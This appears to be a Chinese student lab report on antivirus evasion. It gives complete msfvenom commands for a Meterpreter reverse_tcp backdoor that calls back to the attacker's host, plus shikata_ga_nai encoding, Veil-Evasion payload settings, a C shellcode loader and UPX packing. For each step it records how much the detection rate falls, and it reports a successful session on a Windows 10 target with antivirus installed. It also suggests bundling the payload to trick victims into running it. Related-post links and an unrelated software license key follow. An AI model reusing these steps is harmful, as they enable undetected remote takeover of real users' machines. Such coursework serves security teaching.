实践内容

基础问题回答

(1)杀软是如何检测出恶意代码的?

  • 杀毒软件主要靠特征码进行查杀,匹配到即为病毒。
  • 还有通过云查杀,查看云端库中该文件是否属于恶意代码。
  • 跟踪该程序运行起来是否存在恶意行为,来判断是否属于恶意代码。

(2)免杀是做什么?

  • 免杀就是让杀毒软件查杀不出来有问题的程序,大部分是用来做坏事的。

(3)免杀的基本方法有哪些?

  • 通过改变特征码来躲避杀毒软件的匹配。
  • 自己手动编写一个恶意代码,因为杀毒软件查的共性,而不是个性。
  • 改变行为,减少敏感行为的使用等。

实践总结与体会

  • 这次的实验让我们可以绕过恶意代码的最大天敌——杀毒软件,之前我们所编写的恶意代码就像一个通缉犯,被所有警察所知悉,而同感免杀之后的恶意代码就像是去了泰国变性韩国整容一般,可以瞒天过海,继续潇洒。

离实战还缺些什么技术或步骤?

  • 我们的靶机不会那么傻乎乎的去接收我们的文件,那么我们就可以利用捆绑等方式诱导用户去接收并运行我们的恶意代码。

实践过程

环境准备

  • win10的IP地址:172.30.6.204
  • kali的IP地址:172.30.1.193
  • 这里使用上次实验中用到的后门程序进行免杀实验
  • 上期实验博客
  • 本次实验需要用到Veil-Evasion,安装指令:sudo apt-get install veil-evasion
  • 没有安装成功的小伙伴,可以尝试 克隆安装,依次输入:
sudo apt-get -y install git //安装git
git clone https://github.com/Veil-Framework/Veil-Evasion.git //git命令行下载Veil Evasion
mv Veil-Evasion /opt //把它移动到opt目录下(可选)
cd /opt/Veil-Evasion/ //进入Veil Evasion所在目录 bash setup/setup.sh -s //启动setup脚本开始安装

msfvenom

  • kali端下使用 msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.30.1.193 LPORT=4327 -f exe > 4327.exe命令生成后门程序(即上次实验所用到的后门程序)。

  • 上传至http://www.virscan.org/来检测下有多少查毒软件可以将其查杀出来。

    • 小提示:这里文件名为20154327形式的无法上传,网站提示含有广告关键词。

  • 从图中可以看出有18/39的杀毒软件发现有病毒.

    *这里我们直接利用命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=172.30.1.193 LPORT=4327 -f exe > 4327miansha.exe将文件编码10次

  • 再去检测一下:

  • 结果还是有18/39的杀毒软件发现有病毒,看来一味的利用编码次数来达到免杀还是不行的。

Veil-Evasion

  • 这里需要用到veil-evasion,没有的小伙伴可以参考环境准备里的步骤。
  • 在kali中输入指令veil-evasion打开软件,依次输入
use python/meterpreter/rev_tcp  //设置payload
set LHOST 172.30.1.193 //设置为kali的IP
set lport 4327 //设置端口为4327
generate //生成
4327yzh //程序名
1
  • 如图所示:

  • 然后在kali上的/var/lib/veil-evasion/output/compiled/文件夹里找到刚生成的,上传至http://www.virscan.org/来检测下有多少查毒软件可以将其查杀出来。

  • 从图中可以看出有9/39的杀毒软件发现有病毒,比刚刚18个报毒直接减少一半,可喜可贺,但还不够,下面我们继续。

使用C语言调用Shellcode

  • 使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.30.1.193 LPORT=4327 -f c ,这里使用kali的ip生成一个c语言格式的shellcode数组。

  • 利用自己的数组,再添加一个主函数。

  • 在win下使用vs编译该c语言,得到exe文件,上传至http://www.virscan.org/来检测下有多少查毒软件可以将其查杀出来。

  • 8/39的杀毒软件发现有病毒,大部分都没有查杀出来了,效果还是挺不错的。

  • 在kali下进入MSF打开监听进程,实现方法参考上期实验博客

  • 靶机上尝试运行,后门程序成功获取权限。

    • 靶机环境:win10家庭版,火绒20180405

加壳尝试

upx直接加壳

  • 利用upx对上节课生成的后门文件直接加壳。



  • 直接对msf生成的文件使用upx加壳,还是有14/39的杀毒软件发现有病毒,比刚刚18查出略有改善,下面试试利用Veil-Evasio+UPX加壳。

Veil-Evasio+UPX加壳

  • 将上面通过Veil-Evasio免杀过的文件加上upx壳尝试。

  • 4/39的杀毒软件发现有病毒,大部分都没有查杀出来了,效果还是挺不错的。

20154327 Exp3 免杀原理与实践的更多相关文章

  1. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  2. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  3. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  4. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  5. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  6. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

  7. 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  8. 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

  9. 2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践 一.实验说明 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),vei ...

随机推荐

  1. [原]Linux 修改时区

    1.查看当前时区 date -R 2.修改当前时区 tzselect 之后会出来一个选项菜单,选择你想要的时区就OK了 3.替换系统时区文件 cp /usr/share/zoneinfo/XXX/YY ...

  2. Ubuntu16.04使用所遇问题记录

    记录笔者在使用Ubuntu系统过程中所遇到过的错误/问题和解决方案.本机系统为Ubuntu 16.04 LTS,64-bit. 目前已有的解决方案: (1)Ubuntu安装搜狗输入法 (2)Windo ...

  3. JavaScript的DOM_操作内容

    一.innerText 属性 <script type="text/javascript"> window.onload = function(){ var box = ...

  4. 可变对象(immutable)和不可变对象(mutable)

    可变对象(immutable)和不可变对象(mutable) 这个是之前一直忽略的一个知识点,比方说说起String为什么是一个不可变对象,只知道因为它是被final修饰的所以不可变,而没有抓住不可变 ...

  5. Unity3D Shaderlab 学习记录

    unity3d 定制的表面着色器(Surface Shader)的标准输出结构是这种: struct SurfaceOutput  {  half3 Albedo; //反射率  half3 Norm ...

  6. UVa 12169 - Disgruntled Judge(拓展欧几里德)

    链接: https://uva.onlinejudge.org/index.php?option=com_onlinejudge&Itemid=8&page=show_problem& ...

  7. 显示mac电脑中隐藏的文件和文件夹

    显示mac电脑中隐藏的文件和文件夹的办法:打开电脑,cd到相应的文件夹,输入以下命令,为显示隐藏的文件和文件夹 defaults write com.apple.finder AppleShowAll ...

  8. 【微信开发】微信开发模式 api 接口文档简介

    微信公众平台分为订阅号和服务号,服务号提供9大接口,需要通过微信认证后才能使用这些接口.认证费用300元.下面是接口的大致介绍: 1. 语音识别:通过语音识别接口,用户发送的语音,将会同时给出语音识别 ...

  9. Oracle中字符串截取常用方法总结

    substr 函数:截取字符串  语法:SUBSTR(string,start, [length]) string:表示源字符串,即要截取的字符串. start:开始位置,从1开始查找.如果start ...

  10. IDEA(2018.3.2)

    N757JE0KCT-eyJsaWNlbnNlSWQiOiJONzU3SkUwS0NUIiwibGljZW5zZWVOYW1lIjoid3UgYW5qdW4iLCJhc3NpZ25lZU5hbWUiO ...